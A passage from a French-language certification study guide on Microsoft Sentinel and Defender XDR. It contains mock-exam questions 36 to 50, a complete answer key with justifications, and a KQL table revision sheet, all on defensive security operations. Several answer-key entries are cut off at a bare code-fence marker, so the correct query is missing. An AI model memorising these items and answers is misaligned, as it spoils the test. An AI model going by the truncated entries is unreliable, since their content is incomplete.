**D.** L'audit et la surveillance de l'intégrité de Microsoft Sentinel, qui alimentent les tables SentinelHealth et SentinelAudit, puis des règles d'analyse sur ces tables.

### Examen 3 — Question 36 (Gérer un environnement d'opérations de sécurité)

Une règle détecte des connexions RDP suspectes. Les alertes n'affichent aucune entité et ne sont donc pas corrélées avec d'autres alertes portant sur le même hôte. Quelle configuration manque ?

**A.** Le mappage des entités (Account, Host, IP...) vers les colonnes de résultat de la requête.

**B.** Les détails personnalisés (custom details).

**C.** Un regroupement d'événements « une seule alerte ».

D. La remplacement dynamique des détails d'alerte (alert details override).

### Examen 3 — Question 37 (Répondre aux incidents de sécurité)

Après avoir identifié une campagne d'hameçonnage (même expéditeur, même URL), quelles actions combinées réduisent à la fois l'exposition actuelle et la réapparition ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

A. Ajouter l'expéditeur à la liste des expéditeurs approuvés pour suivre la campagne.

B. Désactiver la boîte de réception de tous les destinataires.

C. Bloquer l'expéditeur, le domaine et l'URL dans la liste d'autorisation/blocage du locataire (et via des indicateurs MDE pour l'URL).

D. Retirer les messages distribués (Threat Explorer / chasse avancée, action de remédiation suivie dans le Centre de notifications).

E. Désactiver Safe Links pour accélérer la remise des messages.

### Examen 3 — Question 38 (Répondre aux incidents de sécurité)

Des attaquants envoient des e-mails en se faisant passer pour le directeur financier, depuis des domaines ressemblants (par exemple contoso-finance.co au lieu de contoso.com). Quelle configuration de Defender for Office 365 cible spécifiquement cette menace ?

A. La purge automatique ZAP uniquement.

B. Les liens sécurisés uniquement.

C. Une règle ASR sur les postes.

D. La protection contre l'usurpation d'identité d'utilisateurs et de domaines dans la stratégie anti-hameçonnage, avec le directeur financier comme utilisateur protégé et les domaines de l'organisation comme domaines protégés.

### Examen 3 — Question 39 (Gérer un environnement d'opérations de sécurité)

Lors d'une investigation, vous avez besoin de toutes les connexions réseau de serveurs potentiellement compromis, au-delà de l'échantillonnage par défaut de MDE, envoyées dans votre espace Sentinel. Quelle fonctionnalité utiliser ?

A. Activer la découverte des appareils en mode standard.

B. Augmenter le niveau d'automatisation à « Full ».

C. La collecte de données personnalisée de Defender for Endpoint : des règles ciblant les appareils par balises dynamiques, envoyant les événements dans des tables dédiées (par exemple DeviceCustomNetworkEvents) de l'espace Sentinel.

D. Créer une règle de détection personnalisée toutes les heures.

### Examen 3 — Question 40 (Gérer un environnement d'opérations de sécurité)

Après avoir connecté votre espace Sentinel au portail Microsoft Defender, un analyste constate que les alertes générées par une règle planifiée Sentinel sont regroupées avec des alertes Defender for Endpoint dans un même incident. Quel mécanisme explique ce comportement ?

A. La règle planifiée a été configurée en mode « Fusion », ce qui fusionne automatiquement ses alertes avec celles de MDE.

**B.** Une règle d'automatisation Sentinel a fusionné les incidents.

**C.** Le connecteur Defender XDR copie toutes les alertes Sentinel dans Defender for Endpoint.

**D.** Le moteur de corrélation de Defender XDR crée et regroupe les incidents à partir des alertes Sentinel et Defender, au lieu de la logique de création d'incidents propre à Sentinel.

### Examen 3 — Question 41 (Effectuer la chasse aux menaces)

Suite à un rapport d'analyse des menaces sur un nouvel acteur, le SOC veut organiser une chasse : formuler une hypothèse, regrouper les requêtes, suivre l'état et documenter les conclusions. Quelle fonctionnalité Sentinel est conçue pour cela ?

**A.** Les optimisations SOC.

**B.** Les règles d'automatisation.

**C.** Les chasses (Hunts) de Microsoft Sentinel.

**D.** Les classeurs uniquement.

### Examen 3 — Question 42 (Répondre aux incidents de sécurité)

Les utilisateurs se plaignent que les e-mails avec pièces jointes arrivent avec retard depuis l'activation des pièces jointes sécurisées en mode « Bloquer ». Quelle option permet de remettre immédiatement le corps du message pendant l'analyse de la pièce jointe ?

**A.** Les liens sécurisés.

**B.** Désactiver les pièces jointes sécurisées.

**C.** La remise dynamique (Dynamic Delivery).

**D.** Le mode « Surveiller » (Monitor).

### Examen 3 — Question 43 (Répondre aux incidents de sécurité)

**Scénario D (suite) :** la connexion de Montréal provient d'un appareil inconnu, sans conformité, avec un agent utilisateur de script, et a accédé à OneDrive. **Question :** quelle est la meilleure réponse ?

**A.** Fermer l'alerte comme faux positif lié au VPN.

**B.** Bloquer OneDrive pour toute l'entreprise.

**C.** Confirmer la compromission (marquer l'utilisateur compromis), révoquer les sessions, réinitialiser les identifiants et examiner les accès OneDrive depuis cette IP.

**D.** Isoler le poste de p.durand à Lyon.

### Examen 3 — Question 44 (Répondre aux incidents de sécurité)

Une alerte signale une attaque par force brute RDP réussie sur une VM Azure exposée sur Internet. Quelle séquence de réponse est la plus appropriée ?

**A.** Supprimer la VM sans investigation.

**B.** Ignorer l'alerte car RDP est un service légitime.

**C.** Augmenter la taille de la VM.

**D.** Contenir la VM (restreindre le NSG/isoler via MDE), désactiver ou réinitialiser le compte compromis, investiguer l'activité post-connexion (processus, persistance), puis fermer l'exposition (JIT ou Bastion).

## Examen 3 — Question 45 (Effectuer la chasse aux menaces)

**Besoin :** lister les connexions réussies à facteur unique de comptes possédant un rôle privilégié Entra ID. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
IdentityInfo
| where TimeGenerated > ago(14d)
| where IsMFARegistered == false
```

**B.**

REQUÊTE KQL

```
let Privilegies = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, AssignedRoles) by AccountUPN
| where array_length(AssignedRoles) > 0
| project Upn = tolower(AccountUPN), AssignedRoles;
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0" and AuthenticationRequirement == "singleFactorAuthentication"
| extend Upn = tolower(UserPrincipalName)
| join kind=inner Privilegies on Upn
| summarize Connexions = count(), Applications = make_set(AppDisplayName, 10) by Upn,
tostring(AssignedRoles)
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0"
| summarize count() by AppDisplayName
```

**D.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationRequirement == "multiFactorAuthentication"
```

## Examen 3 — Question 46 (Répondre aux incidents de sécurité)

Les ports RDP et SSH des VM Azure sont ouverts en permanence sur Internet pour l'administration. Quelle fonctionnalité de Defender for Cloud réduit cette exposition tout en permettant l'administration ?

**A.** L'analyse de malware sans agent.

**B.** La surveillance de l'intégrité des fichiers.

**C.** L'accès juste-à-temps (JIT), qui ferme les ports de gestion par défaut et ne les ouvre, sur demande approuvée, que pour une durée et une IP source limitées.

**D.** Le Secure Score.

## Examen 3 — Question 47 (Gérer un environnement d'opérations de sécurité)

Un responsable SOC veut identifier les tables coûteuses qui ne sont utilisées par aucune règle de détection ni requête, et les lacunes de couverture face à des menaces précises. Quelle fonctionnalité intégrée fournit ces recommandations ?

A. Le Secure Score de Microsoft Defender XDR.

B. Le classeur « Workspace Usage Report » uniquement.

C. Les optimisations SOC (SOC optimization) de Microsoft Sentinel.

D. Microsoft Purview Compliance Manager.

### Examen 3 — Question 48 (Répondre aux incidents de sécurité)

**Scénario B (suite) :** PowerShell sur PC-0423 a établi une connexion HTTPS vers 198.51.100.23 et créé une tâche planifiée. **Question :** quelle action immédiate privilégier ?

A. Supprimer la tâche planifiée et laisser le poste connecté.

B. Désinstaller Office sur le poste.

C. Isoler PC-0423 via MDE (isolation complète), puis collecter le package d'investigation.

D. Éteindre le poste.

### Examen 3 — Question 49 (Gérer un environnement d'opérations de sécurité)

Une entreprise possède trois espaces Sentinel (Europe, Amériques, Asie) dans un même locataire et les connecte au portail Defender. Quelle affirmation est exacte ?

A. Le portail Defender n'accepte qu'un seul espace Sentinel par locataire.

B. Les trois espaces sont fusionnés en un seul espace de travail physique.

C. Chaque espace nécessite un locataire Microsoft Entra distinct.

D. Un espace est désigné comme espace principal ; les autres sont connectés comme espaces secondaires, et les incidents et la chasse avancée tiennent compte de cette organisation.

### Examen 3 — Question 50 (Répondre aux incidents de sécurité)

Defender for Cloud signale des appels API AWS suspects (énumération IAM, désactivation de CloudTrail) depuis une clé d'accès d'un utilisateur IAM, au moment où MDE détecte un vol d'identifiants sur le poste d'un développeur. Que faut-il faire ?

A. Ignorer l'alerte AWS car Defender for Cloud ne surveille qu'Azure.

B. Traiter les deux alertes comme un même incident probable : désactiver la clé d'accès AWS compromise, réactiver la journalisation CloudTrail, isoler le poste du développeur, puis rechercher d'autres secrets cloud exposés sur ce poste.

C. Traiter séparément et sans lien les deux alertes, car elles concernent deux clouds différents.

D. Supprimer le compte AWS de l'organisation.

## Corrigé de l'examen blanc n° 3

Chaque question de cet examen est une reprise d'une question du guide (numéro indiqué) ; les propositions ont été mélangées. Elle n'est pas comptée une seconde fois dans le total des questions uniques.

| N° | Réponse | Justification |
|---|---|---|
| 1 | A | Messagerie potentiellement compromise → communication hors bande prévue dans le plan.<br>Bonne(s) réponse(s) : Utiliser un canal de communication hors bande prédéfini (par exemple téléphonie ou outil de collaboration indépendant du locataire compromis). — détails : question n° 281 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 2 | **A** | SecurityAlert.Entities = JSON → todynamic + mv-expand pour extraire les comptes.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 246 du guide. |
| 3 | **A, C** | Compromission applicative : retirer le secret ajouté, confiner le compte humain, faire tourner les secrets exfiltrés.<br>Bonne(s) réponse(s) : Confiner le compte administrateur compromis (mot de passe, révocation des sessions, retrait temporaire des rôles). / Supprimer le secret ajouté (et faire tourner les autres identifiants de l'application), et faire tourner les secrets du coffre qui ont été lus. — détails : question n° 444 du guide. |
| 4 | **A** | Connexion Sentinel → Defender : Owner (ou User Access Administrator + Sentinel Contributor) sur l'abonnement + Security Administrator Entra si plusieurs espaces. Aucune licence E5 requise.<br>Bonne(s) réponse(s) : Le rôle Propriétaire (attribution inconditionnelle) sur l'abonnement — ou Administrateur de l'accès utilisateur et Microsoft Sentinel Contributor — ainsi qu'au moins le rôle Administrateur de la sécurité dans Microsoft Entra ID. — détails : question n° 8 du guide. |
| 5 | **A** | Qualifier une localisation inhabituelle = comparer IP, appareil, conformité, agent utilisateur, application.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 418 du guide. |
| 6 | **B** | Attaque hybride = Defender XDR (corrélation) + Sentinel (journaux de plateforme), unifiés dans le portail Defender.<br>**Explication complémentaire :** Une attaque **hybride** traverse terminaux, identités locales et cloud, et ressources Azure. **Defender XDR** corrèle les signaux de ses produits ; **Sentinel** apporte les journaux de plateforme (AuditLogs, AzureActivity, journaux de ressources) et des corrélations sur mesure.<br>Bonne(s) réponse(s) : Defender XDR (MDE, MDI, MDCA, Entra ID Protection) pour la corrélation des alertes en un incident, et Microsoft Sentinel pour les journaux Entra ID (AuditLogs), Azure (AzureActivity) et les corrélations personnalisées, dans le portail Defender unifié. — détails : question n° 337 du guide. |
| 7 | **B, D** | Prévention des fuites : DLP fondée sur les étiquettes + blocage des applications non approuvées.<br>Bonne(s) réponse(s) : Le blocage des applications de stockage personnel non approuvées via Defender for Cloud Apps et Defender for Endpoint. / Des stratégies DLP (Microsoft 365 et terminaux) bloquant le partage et le chargement de contenus étiquetés « Confidentiel » vers des destinations non autorisées. — détails : question n° 436 du guide. |
| 8 | **C** | Journaux applicatifs personnalisés → table _CL + Logs Ingestion API + DCR (transformation possible) ; l'API HTTP Data Collector est historique.<br>**Explication complémentaire :** La **Logs Ingestion API** permet d'envoyer des données via REST vers une **table personnalisée _CL** (ou certaines tables standard prises en charge). La **DCR** définit le flux d'entrée, la transformation KQL (`transformKql`) et la table de destination.<br>Bonne(s) réponse(s) : Créer une table personnalisée (suffixe _CL) et utiliser l'API d'ingestion des journaux (Logs Ingestion API) avec un point de terminaison de collecte et une règle de collecte de données qui peut transformer les données. — détails : question n° 23 du guide. |
| 9 | **C** | Exfiltration réseau = sum(SentBytes) privé → public ; ipv4_is_private() pour classer les adresses.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 230 du guide. |
| 10 | **A** | `between (a .. b)` avec des bornes datetime UTC.<br>Bonne(s) réponse(s) : `\| where TimeGenerated between (datetime(2026-10-01 08:00) .. datetime(2026-10-01 12:00))` — détails : question n° 206 du guide. |
| 11 | **B, C** | Defender for Containers = posture K8s + vulnérabilités des images + détection à l'exécution.<br>Bonne(s) réponse(s) : L'évaluation des vulnérabilités des images de conteneurs (registres et images en cours d'exécution) et le durcissement de la posture Kubernetes. / La détection des menaces à l'exécution sur les nœuds et le plan de contrôle Kubernetes (par exemple conteneur privilégié, exécution de commandes suspectes, accès à l'API depuis une IP malveillante). — détails : question n° 367 du guide. |
| 12 | **B** | Fermer automatiquement les alertes « sans menace » après AIR = Automatically resolve alerts.<br>Bonne(s) réponse(s) : « Automatically resolve alerts » (résoudre automatiquement les alertes). — détails : question n° 119 du guide. |
| 13 | **D** | Minage sur des VM nouvelles = identifiants de création de ressources compromis (T1496) → AzureActivity.<br>Bonne(s) réponse(s) : La compromission d'une identité ou d'un secret disposant de droits de création de ressources (Resource Hijacking, T1496), à vérifier dans AzureActivity (créations de VM, appelant, IP). — détails : question n° 383 du guide. |
| 14 | **B** | Historiser/transmettre alertes et recommandations = export continu (Log Analytics, Event Hubs).<br>Bonne(s) réponse(s) : L'export continu (continuous export) vers Log Analytics et/ou Event Hubs. — détails : question n° 379 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 15 | **A** | Priorité = impact (actifs/comptes critiques, étendue) × urgence (attaque active, non contenue).<br>Bonne(s) réponse(s) : L'incident 2, car il indique une compromission probable d'identifiants à privilèges élevés avec un impact potentiel sur tout le domaine. — détails : question n° 279 du guide. |
| 16 | **B** | Donner à une équipe l'accès à « ses » journaux seulement → RBAC de contexte de ressource.<br>Bonne(s) réponse(s) : Le RBAC de contexte de ressource : l'équipe consulte les journaux depuis ses ressources Azure, sur lesquelles elle possède déjà des droits. — détails : question n° 13 du guide. |
| 17 | **A, E** | Connecteur Defender XDR = incidents/alertes (bidirectionnel) + événements bruts de chasse avancée optionnels.<br>Bonne(s) réponse(s) : Les événements bruts de la chasse avancée (par exemple DeviceProcessEvents, EmailEvents, IdentityLogonEvents) vers les tables correspondantes de l'espace. / Les incidents et alertes de Defender XDR, synchronisés avec Sentinel. — détails : question n° 24 du guide. |
| 18 | **C** | Faux positifs VPN = déclarer les IP de sortie comme emplacements de confiance (Entra) / plages d'entreprise (MDCA).<br>Bonne(s) réponse(s) : Déclarer les plages IP de sortie du VPN comme emplacements nommés de confiance (Entra ID) et comme plages d'entreprise dans Defender for Cloud Apps. — détails : question n° 421 du guide. |
| 19 | **C** | Patient zéro = première occurrence chronologique des indicateurs et de l'activité du compte, pas l'appareil le plus bruyant.<br>**Explication complémentaire :** Le **patient zéro** se déduit de la **chronologie** : premières occurrences des IOC (hachages, IP, domaines), première activité du compte compromis, origine des connexions latérales (DeviceLogonEvents RemoteIP, DeviceFileEvents RequestSourceIP). La chasse avancée avec `min(Timestamp)` par appareil aide à ordonner les événements.<br>Bonne(s) réponse(s) : Reconstituer la chronologie à partir des premiers horodatages d'activité malveillante (première exécution des IOC, première connexion du compte compromis, premier e-mail ouvert), en remontant l'arborescence des processus et les connexions latérales jusqu'à l'activité la plus ancienne. — détails : question n° 348 du guide. |
| 20 | **C** | Détections versionnées et déployées automatiquement = Repositories (GitHub / Azure DevOps).<br>Bonne(s) réponse(s) : Les référentiels (Repositories) de Microsoft Sentinel, connectés à GitHub ou Azure DevOps, qui déploient le contenu à chaque validation. — détails : question n° 74 du guide. |
| 21 | **A** | AIR = collecte de preuves → verdicts → remédiations automatiques ou en attente (Action center).<br>Bonne(s) réponse(s) : Une alerte déclenche une enquête automatisée qui examine les preuves (fichiers, processus, services, pilotes, adresses IP, e-mails...), leur attribue un verdict et propose ou applique des actions de remédiation selon le niveau d'automatisation. — détails : question n° 116 du guide. |
| 22 | **A** | Boucles d'automatisation = conditions de mise à jour trop larges ; cibler le champ modifié.<br>**Explication complémentaire :** Les déclencheurs « à la mise à jour » peuvent réagir aux changements effectués par d'autres règles. Des **conditions précises** sur le type de mise à jour (champ modifié, valeur) évitent les **boucles**.<br>Bonne(s) réponse(s) : Restreindre les conditions des règles déclenchées à la mise à jour (par exemple « Statut modifié en Actif » ou « Alertes ajoutées ») pour qu'une modification faite par une règle ne déclenche pas l'autre en boucle. — détails : question n° 449 du guide. |
| 23 | **D** | AV tiers + Defender en passif → activer EDR in block mode pour la remédiation post-violation.<br>Bonne(s) réponse(s) : Le mode bloc EDR (EDR in block mode). — détails : question n° 95 du guide. |
| 24 | **A** | T1490 = vssadmin/wmic/bcdedit/wbadmin ; signal fort de rançongiciel imminent.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 221 du guide. |
| 25 | **D, E** | Office → PowerShell : règle ASR en Bloquer + protection de la messagerie.<br>Bonne(s) réponse(s) : Renforcer la protection de la messagerie : pièces jointes sécurisées, blocage des macros provenant d'Internet et stratégies prédéfinies Standard/Strict. / Activer en mode Bloquer la règle ASR « Bloquer toutes les applications Office pour créer des processus enfants » (après audit). — détails : question n° 411 du guide. |
| 26 | **B** | Impact = ce que le compte compromis a réellement consulté/modifié pendant la fenêtre de compromission, d'après les journaux.<br>Bonne(s) réponse(s) : Recenser les ressources et données auxquelles le compte a accédé pendant la période de compromission (journaux d'audit Microsoft 365, accès aux fichiers, e-mails consultés, applications), et les privilèges qu'il détient. — détails : question n° 283 du guide. |
| 27 | **D** | ASR : toujours Audit d'abord, puis exclusions ciblées, puis Bloquer/Avertir par vagues.<br>Bonne(s) réponse(s) : Déployer les règles en mode Audit, analyser les événements (rapports ASR, chasse avancée) pendant une période représentative, créer les exclusions nécessaires, puis passer en mode Bloquer (ou Avertir) par vagues. — détails : question n° 90 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 28 | **B, E** | Après un AiTM : stratégies de risque + MFA résistante à l'hameçonnage + appareils conformes.<br>Bonne(s) réponse(s) : Exiger une authentification résistante à l'hameçonnage (FIDO2/passkeys, Windows Hello) et des appareils conformes pour les rôles sensibles comme la comptabilité. / Activer les stratégies d'accès conditionnel basées sur le risque (connexion → MFA, utilisateur → changement de mot de passe sécurisé). — détails : question n° 406 du guide. |
| 29 | **C** | Liste d'IOC = datatable/watchlist + `has_any(liste)` sur RemoteUrl.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 229 du guide. |
| 30 | **C** | Rôles Azure RBAC = AzureActivity (roleAssignments/write) ; rôles Entra = AuditLogs.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 227 du guide. |
| 31 | **D** | MDI (requêtes vues par le DC) ⋈ MDE (processus du poste) = identification de l'outil de reconnaissance.<br>**Explication complémentaire :** Defender for Identity voit les **requêtes LDAP** reçues par les contrôleurs de domaine (IdentityQueryEvents) avec le **poste source** ; MDE voit les **processus** de ce poste. La jointure sur le nom d'appareil et la fenêtre temporelle de l'activité LDAP identifient l'outil responsable.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 253 du guide. |
| 32 | **B** | Activité d'une session = DeviceId + LogonId (InitiatingProcessLogonId).<br>**Explication complémentaire :** Le **LogonId** identifie une session d'ouverture sur un appareil ; les processus créés dans cette session portent le même identifiant dans **InitiatingProcessLogonId** (ou LogonId selon la colonne). La jointure sur **DeviceId + identifiant de session** isole précisément l'activité de la session RDP.<br>Bonne(s) réponse(s) : ```kqlx — détails : question n° 244 du guide. |
| 33 | **C** | Volume facturable par type de données → table Usage (DataType, Quantity en Mo, IsBillable).<br>Bonne(s) réponse(s) : ```kql — détails : question n° 33 du guide. |
| 34 | **D** | Sans MDO P2 : recherche de contenu Purview + `New-ComplianceSearchAction -Purge`.<br>**Explication complémentaire :** La **recherche de contenu** (eDiscovery) identifie les messages ; la cmdlet ** `New-ComplianceSearchAction -Purge -PurgeType SoftDelete\|HardDelete` ** les supprime. Cette méthode est disponible sans MDO P2, avec des limites (nombre d'éléments supprimés par boîte et par action).<br>Bonne(s) réponse(s) : Créer une recherche de contenu Microsoft Purview (eDiscovery) ciblant le message (expéditeur, objet, date), puis lancer une action de purge (`New-ComplianceSearchAction -Purge`) en suppression réversible ou définitive. — détails : question n° 169 du guide. |
| 35 | **D** | Santé de Sentinel = SentinelHealth (connecteurs, règles, playbooks) + SentinelAudit (changements).<br>Bonne(s) réponse(s) : L'audit et la surveillance de l'intégrité de Microsoft Sentinel, qui alimentent les tables SentinelHealth et SentinelAudit, puis des règles d'analyse sur ces tables. — détails : question n° 72 du guide. |
| 36 | **A** | Pas d'entités = pas de corrélation ni de pivot : mappez Account, Host, IP... avec des identificateurs forts (10 entités max par règle).<br>Bonne(s) réponse(s) : Le mappage des entités (Account, Host, IP...) vers les colonnes de résultat de la requête. — détails : question n° 39 du guide. |
| 37 | **C, D** | Campagne d'hameçonnage = purger les messages + bloquer expéditeur/domaine/URL (TABL + indicateurs).<br>Bonne(s) réponse(s) : Bloquer l'expéditeur, le domaine et l'URL dans la liste d'autorisation/blocage du locataire (et via des indicateurs MDE pour l'URL). / Retirer les messages distribués (Threat Explorer / chasse avancée, action de remédiation suivie dans le Centre de notifications). — détails : question n° 295 du guide. |
| 38 | **D** | Faux dirigeants / domaines ressemblants = protection contre l'usurpation d'identité (anti-phishing MDO).<br>Bonne(s) réponse(s) : La protection contre l'usurpation d'identité d'utilisateurs et de domaines dans la stratégie anti-hameçonnage, avec le directeur financier comme utilisateur protégé et les domaines de l'organisation comme domaines protégés. — détails : question n° 130 du guide. |
| 39 | **C** | Télémétrie MDE supplémentaire ciblée → collecte de données personnalisée (balises dynamiques → tables DeviceCustom* dans Sentinel).<br>**Explication complémentaire :** La **collecte de données personnalisée** permet de définir des **règles** (filtres sur chemins, noms de processus, connexions réseau...) qui collectent des événements supplémentaires sur des appareils ciblés par **balises dynamiques**, et de les router vers **Microsoft Sentinel** dans des tables dédiées (DeviceCustomProcessEvents, DeviceCustomNetworkEvents, etc.).<br>Bonne(s) réponse(s) : La collecte de données personnalisée de Defender for Endpoint : des règles ciblant les appareils par balises dynamiques, envoyant les événements dans des tables dédiées (par exemple DeviceCustomNetworkEvents) de l'espace Sentinel. — détails : question n° 96 du guide. |

| N° | Réponse | Justification |
|---|---|---|
| 40 | D | Portail Defender = moteur de corrélation XDR unique pour les alertes Sentinel et Defender ; attendez-vous à des incidents multi-produits.<br>Bonne(s) réponse(s) : Le moteur de corrélation de Defender XDR crée et regroupe les incidents à partir des alertes Sentinel et Defender, au lieu de la logique de création d'incidents propre à Sentinel. — détails : question n° 4 du guide. |
| 41 | C | Chasse structurée (hypothèse, requêtes, signets, conclusions) = Hunts.<br>Bonne(s) réponse(s) : Les chasses (Hunts) de Microsoft Sentinel. — détails : question n° 64 du guide. |
| 42 | C | Pas de retard de remise tout en analysant les pièces jointes = Dynamic Delivery.<br>Bonne(s) réponse(s) : La remise dynamique (Dynamic Delivery). — détails : question n° 126 du guide. |
| 43 | C | Session illégitime confirmée : marquer compromis, révoquer, réinitialiser, mesurer l'impact.<br>Bonne(s) réponse(s) : Confirmer la compromission (marquer l'utilisateur compromis), révoquer les sessions, réinitialiser les identifiants et examiner les accès OneDrive depuis cette IP. — détails : question n° 419 du guide. |
| 44 | D | Force brute RDP réussie : contenir, invalider les identifiants, investiguer, puis fermer l'exposition (JIT/Bastion).<br>Bonne(s) réponse(s) : Contenir la VM (restreindre le NSG/isoler via MDE), désactiver ou réinitialiser le compte compromis, investiguer l'activité post-connexion (processus, persistance), puis fermer l'exposition (JIT ou Bastion). — détails : question n° 376 du guide. |
| 45 | B | MFA effective = SigninLogs.AuthenticationRequirement ; rôles = IdentityInfo.AssignedRoles.<br>Bonne(s) réponse(s) : ```kql — détails : question n° 250 du guide. |
| 46 | C | Ports de gestion exposés = JIT (ouverture temporaire, IP source, durée limitée) ou Bastion.<br>Bonne(s) réponse(s) : L'accès juste-à-temps (JIT), qui ferme les ports de gestion par défaut et ne les ouvre, sur demande approuvée, que pour une durée et une IP source limitées. — détails : question n° 357 du guide. |
| 47 | C | Optimisation des coûts et de la couverture = page « Optimisations SOC ».<br>Bonne(s) réponse(s) : Les optimisations SOC (SOC optimization) de Microsoft Sentinel. — détails : question n° 32 du guide. |
| 48 | C | Implant actif (C2 + persistance) = isoler d'abord, collecter ensuite.<br>Bonne(s) réponse(s) : Isoler PC-0423 via MDE (isolation complète), puis collecter le package d'investigation. — détails : question n° 408 du guide. |
| 49 | D | Portail Defender : un locataire, un espace principal, des espaces secondaires.<br>**Explication complémentaire :** La documentation indique que le portail Defender prend en charge **un locataire Microsoft Entra** avec **un espace principal et plusieurs espaces secondaires**. Si un seul espace est connecté, il devient automatiquement principal.<br>Bonne(s) réponse(s) : Un espace est désigné comme espace principal ; les autres sont connectés comme espaces secondaires, et les incidents et la chasse avancée tiennent compte de cette organisation. — détails : question n° 75 du guide. |
| 50 | B | Alertes multicloud + terminal = un incident : révoquer les clés cloud, restaurer la journalisation, isoler le poste.<br>**Explication complémentaire :** Defender for Cloud **multicloud** analyse les événements **AWS CloudTrail** (selon les plans activés) et génère des alertes, corrélées dans Defender XDR avec les autres signaux. Le vol d'identifiants sur un poste de développeur expose souvent des **clés cloud** (fichiers de configuration, variables d'environnement).<br>Bonne(s) réponse(s) : Traiter les deux alertes comme un même incident probable : désactiver la clé d'accès AWS compromise, réactiver la journalisation CloudTrail, isoler le poste du développeur, puis rechercher d'autres secrets cloud exposés sur ce poste. — détails : question n° 394 du guide. |

Le score obtenu à cet examen blanc est un indicateur d'entraînement : il ne constitue en aucun cas une prédiction du résultat à l'examen officiel, dont le format, la pondération et la notation (score minimal de 700 sur 1000) sont définis par Microsoft.

# Fiches de révision

## Fiche 1 — Principales tables KQL

### Microsoft Defender XDR (chasse avancée — colonne temporelle `Timestamp`, 30 jours)

| Table | Contenu | Colonnes clés |
|---|---|---|
| DeviceProcessEvents | Créations de processus | FileName, FolderPath, ProcessCommandLine, SHA256, AccountName, InitiatingProcessFileName/CommandLine, InitiatingProcessParentFileName |
| DeviceNetworkEvents | Connexions réseau | RemoteIP, RemotePort, RemoteUrl, LocalIP, ActionType (ConnectionSuccess…), InitiatingProcess* |
| DeviceFileEvents | Créations, modifications, renommages, suppressions de fichiers | ActionType (FileCreated, FileRenamed…), FileName, FolderPath, SHA256, PreviousFileName, RequestProtocol, RequestSourceIP, ShareName |
| DeviceLogonEvents | Ouvertures de session sur les appareils | ActionType (LogonSuccess/LogonFailed), LogonType (chaîne : Interactive, RemoteInteractive, Network…), AccountName, RemoteIP, LogonId, IsLocalAdmin |
| DeviceRegistryEvents | Modifications du registre | ActionType (RegistryValueSet…), RegistryKey, RegistryValueName, RegistryValueData |
| DeviceEvents | Événements divers (ASR, antivirus, services, PowerShell…) | ActionType (AsrOfficeChildProcessBlocked, ServiceInstalled, AntivirusDetection…), AdditionalFields |
| DeviceInfo / DeviceTvmSoftwareVulnerabilities | Inventaire, vulnérabilités | DeviceId, OSPlatform ; CveId, VulnerabilitySeverityLevel (instantané, sans Timestamp) |
| EmailEvents | Messages (remise, menaces) | NetworkMessageId, SenderFromAddress, RecipientEmailAddress, Subject, EmailDirection, DeliveryAction, DeliveryLocation, LatestDeliveryLocation, ThreatTypes, AuthenticationDetails |
| EmailAttachmentInfo / EmailUrlInfo | Pièces jointes / URL des messages | NetworkMessageId, RecipientEmailAddress, FileName, FileType, SHA256 ; Url, UrlDomain |
| EmailPostDeliveryEvents | Actions après remise (ZAP, remédiation) | NetworkMessageId, ActionType (Phish ZAP…), ActionResult |
| UrlClickEvents | Clics Safe Links | Url, AccountUpn, ActionType (ClickAllowed/ClickBlocked), IsClickedThrough, NetworkMessageId |
| IdentityLogonEvents / IdentityQueryEvents / IdentityDirectoryEvents | Authentifications, requêtes de reconnaissance, changements d'annuaire (MDI) | AccountUpn, IPAddress, ActionType, Protocol ; QueryType, QueryTarget ; AdditionalFields |
| CloudAppEvents | Activités Microsoft 365 et applications connectées | ActionType, Application, AccountObjectId, IPAddress, RawEventData |
| AlertInfo / AlertEvidence | Alertes de tous les produits / entités des alertes | AlertId, Title, Severity, ServiceSource ; EntityType, EvidenceRole |

### Microsoft Sentinel / Log Analytics (colonne temporelle `TimeGenerated`)

| Table | Contenu | À retenir |
|---|---|---|
| SigninLogs / AADNonInteractiveUserSignInLogs | Connexions Entra ID interactives / non interactives | ResultType est une **chaîne** (« 0 » = succès, 50126, 500121…) ; LocationDetails et DeviceDetail sont **dynamiques** |
| AADServicePrincipalSignInLogs | Connexions des principaux de service | Compromission d'applications |
| AuditLogs | Opérations d'annuaire Entra ID | OperationName, InitiatedBy et TargetResources dynamiques |
| AADUserRiskEvents / AADRiskyUsers | Détections et utilisateurs à risque (ID Protection) | RiskEventType, RiskLevel |
| SecurityEvent | Journal Sécurité Windows (AMA) | EventID numérique, LogonType numérique (10 = RDP) |
| WindowsEvent / Event | Événements transférés (WEF) / autres journaux Windows | Canal, EventData |
| Syslog / CommonSecurityLog | Linux et appliances / CEF | Facility, ProcessName, SyslogMessage ; DeviceVendor, SourceIP, DestinationIP, DeviceAction |
| AzureActivity | Plan de contrôle Azure | OperationNameValue, Caller, CallerIpAddress, ActivityStatusValue |
| OfficeActivity | Audit Microsoft 365 | Operation, UserId, ClientIP, OfficeWorkload, Parameters |
| MicrosoftGraphActivityLogs | Appels à l'API Graph | RequestUri, AppId, UserId, IPAddress |
| SecurityAlert / SecurityIncident | Alertes / incidents (historisés) | Dédupliquer avec `arg_max` ; AlertIds tableau dynamique |
| ThreatIntelIndicators | Indicateurs STIX | ObservableKey, ObservableValue, IsActive, ValidUntil, Confidence |
| BehaviorAnalytics / IdentityInfo / Anomalies | UEBA et anomalies | InvestigationPriority (0–10), ActivityInsights ; AccountUPN, AssignedRoles |
| SentinelHealth / SentinelAudit / Usage | Santé, audit, volumes | Échecs de connecteurs/automatisations ; volumes par DataType (Mo) |

